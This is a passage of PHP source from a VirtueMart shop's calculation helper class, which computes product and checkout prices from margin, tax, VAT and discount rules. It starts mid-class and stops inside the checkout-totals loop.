	public $productVendorId;
	public $productCurrency;
	public $product_tax_id = 0;
	public $product_discount_id = 0;
	public $product_marge_id = 0;
	public $vendorCurrency = 0;
	public $inCart = FALSE;
	public $checkAutomaticSelected = false;
	protected $exchangeRateVendor = 0;
	protected $exchangeRateShopper = 0;
	protected $_internalDigits = 8;
	protected $_revert = false;
	static $_instance;

	//	public $basePrice;		//simular to costprice, basePrice is calculated in the shopcurrency
	//	public $salesPrice;		//end Price in the product currency
	//	public $discountedPrice;  //amount of effecting discount
	//	public $salesPriceCurrency;
	//	public $discountAmount;

	/** Constructor,... sets the actual date and current currency
	 *
	 * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved.
	 * @author Max Milbers
	 * @author Geraint
	 */
	private function __construct() {
		$this->_db = JFactory::getDBO();
		$this->_app = JFactory::getApplication();

		//We store in UTC and use here of course also UTC
		$jnow = JFactory::getDate();
		$this->_now = $jnow->toMySQL();
		$this->_nullDate = $this->_db->getNullDate();

		//Attention, this is set to the mainvendor atm.
		//This means also that atm for multivendor, every vendor must use the shopcurrency as default
		//         $this->vendorCurrency = 1;
		$this->productVendorId = 1;

		if (!class_exists('CurrencyDisplay')
		)require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php');
		$this->_currencyDisplay = CurrencyDisplay::getInstance();
		$this->_debug = false;

		if(!empty($this->_currencyDisplay->_vendorCurrency)){
			$this->vendorCurrency = $this->_currencyDisplay->_vendorCurrency;
			$this->vendorCurrency_code_3 = $this->_currencyDisplay->_vendorCurrency_code_3;
			$this->vendorCurrency_numeric = $this->_currencyDisplay->_vendorCurrency_numeric;
		}
	/*	else if(VmConfig::get('multix','none')!='none'){
			$this->_db->setQuery('SELECT `vendor_currency` FROM #__virtuemart_vendors  WHERE `virtuemart_vendor_id`="1" ');
			$single = $this->_db->loadResult();
			$this->vendorCurrency = $single;
		}*/

		$this->setShopperGroupIds();

		$this->setVendorId($this->productVendorId);

		$this->rules['Marge'] = array();
		$this->rules['Tax'] 	= array();
		$this->rules['VatTax'] 	= array();
		$this->rules['DBTax'] = array();
		$this->rules['DATax'] = array();

		//round only with internal digits
		$this->_roundindig = VmConfig::get('roundindig',FALSE);
	}

	static public function getInstance() {
		if (!is_object(self::$_instance)) {
			self::$_instance = new calculationHelper();
		} else {
			//We store in UTC and use here of course also UTC
			$jnow = JFactory::getDate();
			self::$_instance->_now = $jnow->toMySQL();
		}
		return self::$_instance;
	}

	public function setVendorCurrency($id) {
		$this->vendorCurrency = $id;
	}

	//static $allrules= array();
	var $allrules= array();
	public function setVendorId($id){

		$this->productVendorId = $id;
		//vmdebug('setVendorId $allrules '.$this->productVendorId,count($this->allrules));
		if(empty($this->allrules[$this->productVendorId])){
			$epoints = array("'Marge'","'Tax'","'VatTax'","'DBTax'","'DATax'");
			$this->allrules[$this->productVendorId]['Marge'] = array();
			$this->allrules[$this->productVendorId]['Tax'] 	= array();
			$this->allrules[$this->productVendorId]['VatTax'] 	= array();
			$this->allrules[$this->productVendorId]['DBTax'] = array();
			$this->allrules[$this->productVendorId]['DATax'] = array();
			$q = 'SELECT * FROM #__virtuemart_calcs WHERE
		                    `calc_kind` IN (' . implode(",",$epoints). ' )
		                     AND `published`="1"
		                     AND (`virtuemart_vendor_id`="' . $this->productVendorId . '" OR `shared`="1" )
		                     AND ( ( publish_up = "' . $this->_db->getEscaped($this->_nullDate) . '" OR publish_up <= "' . $this->_db->getEscaped($this->_now) . '" )
		                        AND ( publish_down = "' . $this->_db->getEscaped($this->_nullDate) . '" OR publish_down >= "' . $this->_db->getEscaped($this->_now) . '" )
										OR `for_override` = "1" )';
			$this->_db->setQuery($q);
			$allrules = $this->_db->loadAssocList();

            //By Maik, key of array is directly virtuemart_calc_id
			foreach ($allrules as $rule){
				$this->allrules[$this->productVendorId][$rule["calc_kind"]][$rule["virtuemart_calc_id"]] = $rule;
			}
		}

	}

	public function getCartPrices() {
		return $this->_cartPrices;
	}

	public function setCartPrices($cartPrices) {
		$this->_cartPrices = $cartPrices;
	}

	public function setCartPricesMerge($cartPrices){

		foreach($cartPrices as $k=>$item){

			if($k===0) {
				vmdebug('setCartPricesMerge k === 0 ? item ',$item);
				continue;
			}
			if(isset($this->_cartPrices[$k]) and is_array($this->_cartPrices[$k])){
				$this->_cartPrices[$k] = array_merge($this->_cartPrices[$k],$item);
			} else {
				$this->_cartPrices[$k] = $item;
			}
		}

	}

	public function getCartData() {
		return $this->_cartData;
	}

	protected function setShopperGroupIds($shopperGroupIds=0, $vendorId=1) {

		if (!empty($shopperGroupIds)) {
			$this->_shopperGroupId = $shopperGroupIds;
		} else {
			$user = JFactory::getUser();
			$this->_shopperGroupId = array();
			if (!empty($user->id)) {
				$this->_db->setQuery('SELECT `usgr`.`virtuemart_shoppergroup_id` FROM #__virtuemart_vmuser_shoppergroups as `usgr`
 										JOIN `#__virtuemart_shoppergroups` as `sg` ON (`usgr`.`virtuemart_shoppergroup_id`=`sg`.`virtuemart_shoppergroup_id`)
 										WHERE `usgr`.`virtuemart_user_id`="' . $user->id . '" AND `sg`.`virtuemart_vendor_id`="' . (int) $vendorId . '" ');
				$this->_shopperGroupId = $this->_db->loadResultArray();
				if (empty($this->_shopperGroupId)) {

					$this->_db->setQuery('SELECT `virtuemart_shoppergroup_id` FROM #__virtuemart_shoppergroups
								WHERE `default`="'.($user->guest+1).'" AND `virtuemart_vendor_id`="' . (int) $vendorId . '"');
					$this->_shopperGroupId = $this->_db->loadResultArray();

				}
			}

			if(!$this->_shopperGroupId) $this->_shopperGroupId = array();

			$shoppergroupmodel = VmModel::getModel('ShopperGroup');
			$site = JFactory::getApplication ()->isSite ();
			$shoppergroupmodel->appendShopperGroups($this->_shopperGroupId,$user,$site,$vendorId);
		}
	}

	protected function setCountryState($cart=0) {

		if ($this->_app->isAdmin())
			return;

		if (empty($cart)) {
			if (!class_exists('VirtueMartCart')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php');
			$cart = VirtueMartCart::getCart();
		}
		$this->_cart = $cart;

		$stBased = VmConfig::get('taxSTbased',TRUE);
		if ($stBased and !empty($this->_cart->ST['virtuemart_country_id'])) {
			$this->_deliveryCountry = (int)$this->_cart->ST['virtuemart_country_id'];
		} else if (!empty($this->_cart->BT['virtuemart_country_id'])) {
			$this->_deliveryCountry = (int)$this->_cart->BT['virtuemart_country_id'];
		}

		if ($stBased and !empty($this->_cart->ST['virtuemart_state_id'])) {
			$this->_deliveryState = (int)$this->_cart->ST['virtuemart_state_id'];
		} else if (!empty($cart->BT['virtuemart_state_id'])) {
			$this->_deliveryState = (int)$this->_cart->BT['virtuemart_state_id'];
		}
		//vmdebug('setCountryState state '.$this->_deliveryState,$this->_cart->BT);
	}

	/** function to start the calculation, here it is for the product
	 *
	 * The function first gathers the information of the product (maybe better done with using the model)
	 * After that the function gatherEffectingRulesForProductPrice writes the queries and gets the ids of the rules which affect the product
	 * The function executeCalculation makes the actual calculation according to the rules
	 *
	 * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved.
	 * @author Max Milbers
	 * @param int $product 	    The product
	 * @param int $catIds 		When the category is already determined, then it makes sense to pass it, if not the function does it for you
	 * @return int $prices		An array of the prices
	 * 							'basePrice'  		basePrice calculated in the shopcurrency
	 * 							'basePriceWithTax'	basePrice with Tax
	 * 							'discountedPrice'	before Tax
	 * 							'priceWithoutTax'	price Without Tax but with calculated discounts AFTER Tax. So it just shows how much the shopper saves, regardless which kind of tax
	 * 							'discountAmount'	the "you save X money"
	 * 							'salesPrice'		The final price, with all kind of discounts and Tax, except stuff that is only in the checkout
	 *
	 */
	public function getProductPrices($product, $variant=0.0, $amount=0, $ignoreAmount=true, $currencydisplay=true) {


		$costPrice = 0;

		//We already have the productobject, no need for extra sql
		if (is_object($product)) {
			$costPrice = isset($product->product_price)? $product->product_price:0;
			$this->productCurrency = isset($product->product_currency)? $product->product_currency:0;
			$override = isset($product->override)? $product->override:0;
			$product_override_price = isset($product->product_override_price)? $product->product_override_price:0;
			$this->product_tax_id = isset($product->product_tax_id)? $product->product_tax_id:0;
			$this->product_discount_id = isset($product->product_discount_id)? $product->product_discount_id:0;
			$productVendorId = !empty($product->virtuemart_vendor_id)? $product->virtuemart_vendor_id:1;
			$this->setVendorId($productVendorId);

			$this->_cats = $product->categories;
			$this->_product = $product;
			$this->_product->amount = $amount;
			$this->productPrices = array();
			if(!isset($this->_product->quantity)) $this->_product->quantity = 1;

			$this->_manufacturerId = !empty($product->virtuemart_manufacturer_id) ? $product->virtuemart_manufacturer_id:0;
		} //Use it as productId
		else {
			vmError('getProductPrices no object given query time','getProductPrices no object given query time');
		}

		if(VmConfig::get('multix','none')!='none' and (empty($this->vendorCurrency) or $this->vendorCurrency!=$this->productVendorId)){
			$this->_db->setQuery('SELECT `vendor_currency` FROM #__virtuemart_vendors  WHERE `virtuemart_vendor_id`="' . $this->productVendorId . '" ');
			$single = $this->_db->loadResult();
			$this->vendorCurrency = $single;
		}

		if (!empty($amount)) {
			$this->_amount = $amount;
		}

		$this->setCountryState($this->_cart);

		//For Profit, margin, and so on
		$this->rules['Marge'] = $this->gatherEffectingRulesForProductPrice('Marge', $this->product_marge_id);

		$this->productPrices['costPrice'] = $costPrice;
		$basePriceShopCurrency = $this->roundInternal($this->_currencyDisplay->convertCurrencyTo((int) $this->productCurrency, $costPrice,true));
		//vmdebug('my pure $basePriceShopCurrency',$costPrice,$this->productCurrency,$basePriceShopCurrency);
		$basePriceMargin = $this->roundInternal($this->executeCalculation($this->rules['Marge'], $basePriceShopCurrency));
		$this->basePrice = $basePriceShopCurrency = $this->productPrices['basePrice'] = !empty($basePriceMargin) ? $basePriceMargin : $basePriceShopCurrency;







		if (!empty($variant)) {
			$basePriceShopCurrency = $basePriceShopCurrency + doubleval($variant);
			$this->productPrices['basePrice'] = $this->productPrices['basePriceVariant'] = $basePriceShopCurrency;
		}
		if (empty($this->productPrices['basePrice'])) {
			return $this->fillVoidPrices($this->productPrices);
		}
		if (empty($this->productPrices['basePriceVariant'])) {
			$this->productPrices['basePriceVariant'] = $this->productPrices['basePrice'];
		}

		$this->rules['Tax'] = $this->gatherEffectingRulesForProductPrice('Tax', $this->product_tax_id);
		$this->productPrices['basePriceWithTax'] = $this->roundInternal($this->executeCalculation($this->rules['Tax'], $this->productPrices['basePrice'], true),'basePriceWithTax');

		$this->rules['VatTax'] = $this->gatherEffectingRulesForProductPrice('VatTax', $this->product_tax_id);
		if(!empty($this->rules['VatTax'])){
			$price = !empty($this->productPrices['basePriceWithTax']) ? $this->productPrices['basePriceWithTax'] : $this->productPrices['basePrice'];
			$this->productPrices['basePriceWithTax'] = $this->roundInternal($this->executeCalculation($this->rules['VatTax'], $price,true),'basePriceWithTax');
		}

		$this->rules['DBTax'] = $this->gatherEffectingRulesForProductPrice('DBTax', $this->product_discount_id);
		$this->productPrices['discountedPriceWithoutTax'] = $this->roundInternal($this->executeCalculation($this->rules['DBTax'], $this->productPrices['basePrice']),'discountedPriceWithoutTax');

		if ($override==-1) {
			$this->productPrices['discountedPriceWithoutTax'] = $product_override_price;
		}

		$priceBeforeTax = !empty($this->productPrices['discountedPriceWithoutTax']) ? $this->productPrices['discountedPriceWithoutTax'] : $this->productPrices['basePrice'];

		$this->productPrices['priceBeforeTax'] = $priceBeforeTax;
		$this->productPrices['salesPrice'] = $this->roundInternal($this->executeCalculation($this->rules['Tax'], $priceBeforeTax, true),'salesPrice');

		$salesPrice = !empty($this->productPrices['salesPrice']) ? $this->productPrices['salesPrice'] : $priceBeforeTax;

		$this->productPrices['taxAmount'] = $this->roundInternal($salesPrice - $priceBeforeTax);

		if(!empty($this->rules['VatTax'])){
			$this->productPrices['salesPrice'] = $this->roundInternal($this->executeCalculation($this->rules['VatTax'], $salesPrice),'salesPrice');
			$salesPrice = !empty($this->productPrices['salesPrice']) ? $this->productPrices['salesPrice'] : $salesPrice;
		}

		$this->rules['DATax'] = $this->gatherEffectingRulesForProductPrice('DATax', $this->product_discount_id);
		$this->productPrices['salesPriceWithDiscount'] = $this->roundInternal($this->executeCalculation($this->rules['DATax'], $salesPrice),'salesPriceWithDiscount');

// 		vmdebug('$$override salesPriceWithDiscount',$override,$this->productPrices['salesPriceWithDiscount'],$salesPrice);
		$this->productPrices['salesPrice'] = !empty($this->productPrices['salesPriceWithDiscount']) ? $this->productPrices['salesPriceWithDiscount'] : $salesPrice;

		$this->productPrices['salesPriceTemp'] = $this->productPrices['salesPrice'];
		//Okey, this may not the best place, but atm we handle the override price as salesPrice
		if ($override==1) {
			$this->productPrices['salesPrice'] = $product_override_price;
// 			$this->productPrices['discountedPriceWithoutTax'] = $this->product_override_price;
// 			$this->productPrices['salesPriceWithDiscount'] = $this->product_override_price;
		} else {

		}

		if(!empty($product->product_packaging) and $product->product_packaging!='0.0000'){
			$this->productPrices['unitPrice'] = $this->productPrices['salesPrice']/$product->product_packaging;
		} else {
			$this->productPrices['unitPrice'] = 0.0;
		}


		if(!empty($this->rules['VatTax'])){
			$this->_revert = true;
			$this->productPrices['priceWithoutTax'] = $this->productPrices['salesPrice'] - $this->productPrices['taxAmount'];
			$afterTax = $this->roundInternal($this->executeCalculation($this->rules['VatTax'], $this->productPrices['salesPrice']),'salesPrice');

			if(!empty($afterTax)){
				$this->productPrices['taxAmount'] = $this->productPrices['salesPrice'] - $afterTax;
			}
			$this->_revert = false;
		}

// 		vmdebug('getProductPrices',$this->productPrices['salesPrice'],$this->product_override_price);
		//The whole discount Amount
		//		$this->productPrices['discountAmount'] = $this->roundInternal($this->productPrices['basePrice'] + $this->productPrices['taxAmount'] - $this->productPrices['salesPrice']);
		$basePriceWithTax = !empty($this->productPrices['basePriceWithTax']) ? $this->productPrices['basePriceWithTax'] : $this->productPrices['basePrice'];

		//changed
		//		$this->productPrices['discountAmount'] = $this->roundInternal($basePriceWithTax - $salesPrice);
		if(empty($this->rules['DBTax'])){
			$this->productPrices['discountAmount'] = $this->roundInternal($basePriceWithTax - $this->productPrices['salesPrice']) * -1;
		} else {
			$this->productPrices['discountAmount'] = $this->roundInternal($this->productPrices['discountedPriceWithoutTax'] - $this->productPrices['basePriceVariant']) * -1;
		}


		//price Without Tax but with calculated discounts AFTER Tax. So it just shows how much the shopper saves, regardless which kind of tax
		//		$this->productPrices['priceWithoutTax'] = $this->roundInternal($salesPrice - ($salesPrice - $discountedPrice));
// 		$this->productPrices['priceWithoutTax'] = $this->productPrices['salesPrice'] - $this->productPrices['taxAmount'];
		$this->productPrices['priceWithoutTax'] = $salesPrice - $this->productPrices['taxAmount'];

		if ($override==1 || $this->productPrices['discountedPriceWithoutTax'] == 0) {
			$this->productPrices['discountedPriceWithoutTax'] = $this->productPrices['salesPrice'] - $this->productPrices['taxAmount'];
		}
		if (!isset($this->productPrices['discountedPriceWithoutTax'])) $this->productPrices['discountedPriceWithoutTax'] = 0.0;

		$this->productPrices['variantModification'] = $variant;

		$this->productPrices['DBTax'] = array();
		foreach($this->rules['DBTax'] as $dbtax){
			$this->productPrices['DBTax'][$dbtax['virtuemart_calc_id']] = array($dbtax['calc_name'],$dbtax['calc_value'],$dbtax['calc_value_mathop'],$dbtax['calc_shopper_published'],$dbtax['calc_currency'],$dbtax['calc_params'], $dbtax['virtuemart_vendor_id'], $dbtax['virtuemart_calc_id']);
		}

		$this->productPrices['Tax'] = array();
		foreach($this->rules['Tax'] as $tax){
			$this->productPrices['Tax'][$tax['virtuemart_calc_id']] =  array($tax['calc_name'],$tax['calc_value'],$tax['calc_value_mathop'],$tax['calc_shopper_published'],$tax['calc_currency'],$tax['calc_params'], $tax['virtuemart_vendor_id'], $tax['virtuemart_calc_id']);
		}

		$this->productPrices['VatTax'] = array();
		foreach($this->rules['VatTax'] as $tax){
			$this->productPrices['VatTax'][$tax['virtuemart_calc_id']] =  array($tax['calc_name'],$tax['calc_value'],$tax['calc_value_mathop'],$tax['calc_shopper_published'],$tax['calc_currency'],$tax['calc_params'], $tax['virtuemart_vendor_id'], $tax['virtuemart_calc_id'],);
		}

		$this->productPrices['DATax'] = array();
		foreach($this->rules['DATax'] as $datax){
			$this->productPrices['DATax'][$datax['virtuemart_calc_id']] =  array($datax['calc_name'],$datax['calc_value'],$datax['calc_value_mathop'],$datax['calc_shopper_published'],$datax['calc_currency'],$datax['calc_params'], $datax['virtuemart_vendor_id'], $datax['virtuemart_calc_id']);
		}

		if(!empty($this->rules['VatTax'])){
			//vmdebug('!empty($this->rules["VatTax"]',$this->rules['VatTax']);
			if(empty($this->_cartData['VatTax'])){
				$this->_cartData['VatTax'] = array();
			}

			foreach($this->rules['VatTax'] as &$rule){
				if(isset($this->_cartData['VatTax'][$rule['virtuemart_calc_id']])){
					if(!isset($this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['taxAmount'])) {
						$this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['taxAmount'] = 0.0;
						$this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['subTotal'] = 0.0;
					}
					$this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['taxAmount'] += $this->productPrices['taxAmount'] * $this->_product->quantity;
					$this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['subTotal']  += $this->productPrices['salesPrice'] * $this->_product->quantity;

				} else {
					$this->_cartData['VatTax'][$rule['virtuemart_calc_id']] = $rule;
					if(!isset($this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['taxAmount'])) $this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['taxAmount'] = $this->productPrices['taxAmount'] * $this->_product->quantity;
					if(!isset($this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['subTotal'])) $this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['subTotal'] = $this->productPrices['salesPrice'] * $this->_product->quantity;
				}
				//vmdebug('subtotal vattax id '.$rule['virtuemart_calc_id'].' =  '.$this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['taxAmount']);
			}
		}

// 		vmdebug('getProductPrices',$this->productPrices);
		return $this->productPrices;
	}

	public function calculateCostprice($productId,$data){

		$this->_revert = true;
		//vmdebug('calculationh.php calculateCostprice ',$data);
		//vmSetStartTime('calculateCostprice');

		if(empty($data['product_currency'])){
			$this->_db->setQuery('SELECT * FROM #__virtuemart_product_prices  WHERE `virtuemart_product_id`="' . $productId . '" ');
			$row = $this->_db->loadAssoc();
			if ($row) {
				if (!empty($row['product_price'])) {

					$this->productCurrency = $row['product_currency'];
					$this->product_tax_id = $row['product_tax_id'];
					$this->product_discount_id = $row['product_discount_id'];
				} else {
					vmdebug('cost Price empty, if child, everything okey, this is just a dev note');
					return false;
				}
			}
		} else {
			$this->productCurrency = $data['product_currency'];
			$this->product_tax_id = $data['product_tax_id'];
			$this->product_discount_id = $data['product_discount_id'];

		}

		$this->_db->setQuery('SELECT `virtuemart_vendor_id` FROM #__virtuemart_products  WHERE `virtuemart_product_id`="' . $productId . '" ');
		$single = $this->_db->loadResult();
		$this->productVendorId = $single;
		if (empty($this->productVendorId)) {
			$this->productVendorId = 1;
		}

		$this->_db->setQuery('SELECT `virtuemart_category_id` FROM #__virtuemart_product_categories  WHERE `virtuemart_product_id`="' . $productId . '" ');
		$this->_cats = $this->_db->loadResultArray();

// 		vmTime('getProductPrices no object given query time','getProductCalcs');

		if(VmConfig::get('multix','none')!='none' and empty($this->vendorCurrency )){
			$this->_db->setQuery('SELECT `vendor_currency` FROM #__virtuemart_vendors  WHERE `virtuemart_vendor_id`="' . $this->productVendorId . '" ');
			$single = $this->_db->loadResult();
			$this->vendorCurrency = $single;
		}

		if (!empty($amount)) {
			$this->_amount = $amount;
		}

		//$this->setCountryState($this->_cart);
		$this->rules['Marge'] = $this->gatherEffectingRulesForProductPrice('Marge', $this->product_marge_id);
		$this->rules['Tax'] = $this->gatherEffectingRulesForProductPrice('Tax', $this->product_tax_id);
		$this->rules['VatTax'] = $this->gatherEffectingRulesForProductPrice('VatTax', $this->product_tax_id);
		$this->rules['DBTax'] = $this->gatherEffectingRulesForProductPrice('DBTax', $this->product_discount_id);
		$this->rules['DATax'] = $this->gatherEffectingRulesForProductPrice('DATax', $this->product_discount_id);

		$salesPrice = $data['salesPrice'];

		$withoutVatTax = $this->roundInternal($this->executeCalculation($this->rules['VatTax'], $salesPrice));
		$withoutVatTax = !empty($withoutVatTax) ? $withoutVatTax : $salesPrice;
		vmdebug('calculateCostprice',$salesPrice,$withoutVatTax, $data);

		$withDiscount = $this->roundInternal($this->executeCalculation($this->rules['DATax'], $withoutVatTax));
		$withDiscount = !empty($withDiscount) ? $withDiscount : $withoutVatTax;
// 		vmdebug('Entered final price '.$salesPrice.' discount '.$withDiscount);
		$withTax = $this->roundInternal($this->executeCalculation($this->rules['Tax'], $withDiscount));
		$withTax = !empty($withTax) ? $withTax : $withDiscount;

		$basePriceP = $this->roundInternal($this->executeCalculation($this->rules['DBTax'], $withTax));
		$basePriceP = !empty($basePriceP) ? $basePriceP : $withTax;

		$basePrice = $this->roundInternal($this->executeCalculation($this->rules['Marge'], $basePriceP));
		$basePrice = !empty($basePrice) ? $basePrice : $basePriceP;

		$productCurrency = CurrencyDisplay::getInstance();
		$costprice = $productCurrency->convertCurrencyTo( $this->productCurrency, $basePrice,false);
		$this->_revert = false;

		//vmdebug('calculateCostprice',$salesPrice,$costprice, $data);
		return $costprice;
	}


	public function setRevert($revert){
		$this->_revert = $revert;
	}

	protected function fillVoidPrices(&$prices) {

		if (!isset($prices['basePrice']))
			$prices['basePrice'] = null;
		if (!isset($prices['basePriceVariant']))
			$prices['basePriceVariant'] = null;
		if (!isset($prices['basePriceWithTax']))
			$prices['basePriceWithTax'] = null;
		if (!isset($prices['discountedPriceWithoutTax']))
			$prices['discountedPriceWithoutTax'] = null;
		if (!isset($prices['priceBeforeTax']))
			$prices['priceBeforeTax'] = null;
		if (!isset($prices['taxAmount']))
			$prices['taxAmount'] = null;
		if (!isset($prices['salesPriceWithDiscount']))
			$prices['salesPriceWithDiscount'] = null;
		if (!isset($prices['salesPriceTemp']))
			$prices['salesPriceTemp'] = null;
		if (!isset($prices['salesPrice']))
			$prices['salesPrice'] = null;
		if (!isset($prices['discountAmount']))
			$prices['discountAmount'] = null;
		if (!isset($prices['priceWithoutTax']))
			$prices['priceWithoutTax'] = null;
		if (!isset($prices['variantModification']))
			$prices['variantModification'] = null;
		if (!isset($prices['unitPrice']))
			$prices['unitPrice'] = null;
		return $prices;
	}

	/** function to start the calculation, here it is for the invoice in the checkout
	 * This function is partly implemented !
	 *
	 * The function calls getProductPrices for every product except it is already known (maybe changed and adjusted with product amount value
	 * The single prices gets added in an array and already summed up.
	 *
	 * Then simular to getProductPrices first the effecting rules are determined and calculated.
	 * Ah function to determine the coupon that effects the calculation is already implemented. But not completly in the calculation.
	 *
	 * 		Subtotal + Tax + Discount =	Total
	 *
	 * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved.
	 * @author Max Milbers
	 * @param int $productIds 	The Ids of the products
	 * @param int $cartVendorId The Owner of the cart, this can be ignored in vm1.5
	 * @return int $prices		An array of the prices
	 * 							'resultWithOutTax'	The summed up baseprice of all products
	 * 							'resultWithTax'  	The final price of all products with their tax, discount and so on
	 * 							'discountBeforeTax'	discounted price without tax which affects only the checkout (the tax of the products is in it)
	 * 							'discountWithTax'	discounted price taxed
	 * 							'discountAfterTax'	final result
	 *
	 */
	//	function getCheckoutPrices($productIds,$variantMods=array(), $cartVendorId=1,$couponId=0,$shipId=0,$paymId=0){
	public function getCheckoutPrices($cart, $checkAutomaticSelected=true) {

		if(isset($this->_cartPrices) and
			is_array($this->_cartPrices) and
			count($this->_cartPrices)>0 and
			isset($this->_cartData['totalProduct']) and
			$this->_cartData['totalProduct']==count($cart->products) and
			$cart->couponCode == $this->couponCode and
			$checkAutomaticSelected ===$this->_checkAutomaticSelected 	){
			return $this->_cartPrices;
		}

		$this->_checkAutomaticSelected = $checkAutomaticSelected;

		$this->_cart = $cart;
		$this->couponCode = $cart->couponCode;
		$this->inCart = TRUE;
		$pricesPerId = array();
		$this->_cartPrices = array();
		$this->_cartData = array();
		$resultWithTax = 0.0;
		$resultWithOutTax = 0.0;
		$this->_cartData['VatTax'] = array();
		$this->_cartPrices['basePrice'] = 0;
		$this->_cartPrices['basePriceWithTax'] = 0;
		$this->_cartPrices['discountedPriceWithoutTax'] = 0;
		$this->_cartPrices['salesPrice'] = 0;
		$this->_cartPrices['taxAmount'] = 0;
		$this->_cartPrices['salesPriceWithDiscount'] = 0;
		$this->_cartPrices['discountAmount'] = 0;
		$this->_cartPrices['priceWithoutTax'] = 0;
		$this->_cartPrices['subTotalProducts'] = 0;
		$this->_cartData['duty'] = 1;

		$this->_cartData['payment'] = 0; //could be automatically set to a default set in the globalconfig
		$this->_cartData['paymentName'] = '';
		$cartpaymentTax = 0;

		$this->setCountryState($cart);

		$this->_amountCart = 0;
		$this->_cartData['totalProduct'] = count($cart->products);
		foreach ($cart->products as $name => $product) {
			//$product = $productModel->getProduct($product->virtuemart_product_id,false,false,true);
			$productId = $product->virtuemart_product_id;
			if (empty($product->quantity) || empty($product->virtuemart_product_id)) {
				JError::raiseWarning(710, 'Error the quantity of the product for calculation is 0, please notify the shopowner, the product id ' . $product->virtuemart_product_id);
				continue;
			}
			$this->productCurrency = isset($product->product_currency)? $product->product_currency:0;
			$variantmods = $this->parseModifier($name);
			$variantmod = $this->calculateModificators($product, $variantmods);

			$cartproductkey = $name; //$product->virtuemart_product_id.$variantmod;

			$product->prices = $pricesPerId[$cartproductkey] = $this->getProductPrices($product, $variantmod, $product->quantity, true, false);
			$this->_amountCart += $product->quantity;

			$this->_cartPrices[$cartproductkey] = $product->prices;

			if($this->_currencyDisplay->_priceConfig['basePrice']) $this->_cartPrices['basePrice'] += self::roundInternal($product->prices['basePrice'],'basePrice') * $product->quantity;
			//				$this->_cartPrices['basePriceVariant'] = $this->_cartPrices['basePriceVariant'] + $pricesPerId[$product->virtuemart_product_id]['basePriceVariant']*$product->quantity;
			if($this->_currencyDisplay->_priceConfig['basePriceWithTax']) $this->_cartPrices['basePriceWithTax'] += self::roundInternal($product->prices['basePriceWithTax']) * $product->quantity;
			if($this->_currencyDisplay->_priceConfig['discountedPriceWithoutTax']) $this->_cartPrices['discountedPriceWithoutTax'] += self::roundInternal($product->prices['discountedPriceWithoutTax'],'discountedPriceWithoutTax') * $product->quantity;
			if($this->_currencyDisplay->_priceConfig['salesPrice']){
				$this->_cartPrices[$cartproductkey]['subtotal_with_tax'] = self::roundInternal($product->prices['salesPrice'],'salesPrice') * $product->quantity;
				$this->_cartPrices['salesPrice'] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax'];
			}

			if($this->_currencyDisplay->_priceConfig['taxAmount']){
				$this->_cartPrices[$cartproductkey]['subtotal_tax_amount'] = self::roundInternal($product->prices['taxAmount'],'taxAmount') * $product->quantity;
				$this->_cartPrices['taxAmount'] += $this->_cartPrices[$cartproductkey]['subtotal_tax_amount'];
			}

			if($this->_currencyDisplay->_priceConfig['salesPriceWithDiscount']) $this->_cartPrices['salesPriceWithDiscount'] += self::roundInternal($product->prices['salesPriceWithDiscount'],'salesPriceWithDiscount') * $product->quantity;
			if($this->_currencyDisplay->_priceConfig['discountAmount']){
				$this->_cartPrices[$cartproductkey]['subtotal_discount'] = self::roundInternal($product->prices['discountAmount'],'discountAmount') * $product->quantity;
				$this->_cartPrices['discountAmount'] += $this->_cartPrices[$cartproductkey]['subtotal_discount'];
			}
			if($this->_currencyDisplay->_priceConfig['priceWithoutTax']) {
				$this->_cartPrices[$cartproductkey]['subtotal'] = self::roundInternal($product->prices['priceWithoutTax'],'priceWithoutTax') * $product->quantity;
				$this->_cartPrices['priceWithoutTax'] += $this->_cartPrices[$cartproductkey]['subtotal'];
			}
		}

		$this->_product = null;
		$this->_cartData['DBTaxRulesBill'] = $this->gatherEffectingRulesForBill('DBTaxBill');
		$this->_cartData['taxRulesBill'] = $this->gatherEffectingRulesForBill('TaxBill');
		$this->_cartData['DATaxRulesBill'] = $this->gatherEffectingRulesForBill('DATaxBill');

		$this->_cartPrices['salesPriceDBT'] = array();
		$this->_cartPrices['taxRulesBill'] = array();
		$this->_cartPrices['DATaxRulesBill'] = array();

		foreach ($cart->products as $cartproductkey => $product) {
			//for Rules with Categories
			foreach($this->_cartData['DBTaxRulesBill'] as &$dbrule){
				if(!empty($dbrule['calc_categories'])){
					if(!isset($dbrule['subTotal'])) $dbrule['subTotal'] = 0.0;
					$set = array_intersect($dbrule['calc_categories'],$product->categories);
					if(count($set)>0){
						//foreach($set as $s){
							$dbrule['subTotal'] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax'];
							vmdebug('DB Rule '.$dbrule['calc_name'].' is per category subTotal '.$dbrule['subTotal']);
							// subarray with subTotal for each taxID necessary to calculate tax correct if there are more than one VatTaxes
							if(!isset($dbrule['subTotalPerTaxID'])) $dbrule['subTotalPerTaxID'] = array();
							if($product->product_tax_id != 0) {
								if(!isset($dbrule['subTotalPerTaxID'][$product->product_tax_id])) $dbrule['subTotalPerTaxID'][$product->product_tax_id] = 0.0;
								$dbrule['subTotalPerTaxID'][$product->product_tax_id] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax'];
							} else {
								foreach($this->allrules[$product->virtuemart_vendor_id]['VatTax'] as $virtuemart_calc_id => $rule){
									$set = array_intersect($rule['cats'],$product->categories);
									if(count($set)>0){
										if(!isset($dbrule['subTotalPerTaxID'][$virtuemart_calc_id])) $dbrule['subTotalPerTaxID'][$virtuemart_calc_id] = 0.0;
										$dbrule['subTotalPerTaxID'][$virtuemart_calc_id] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax'];
									}
								}
							}
						//}
					}
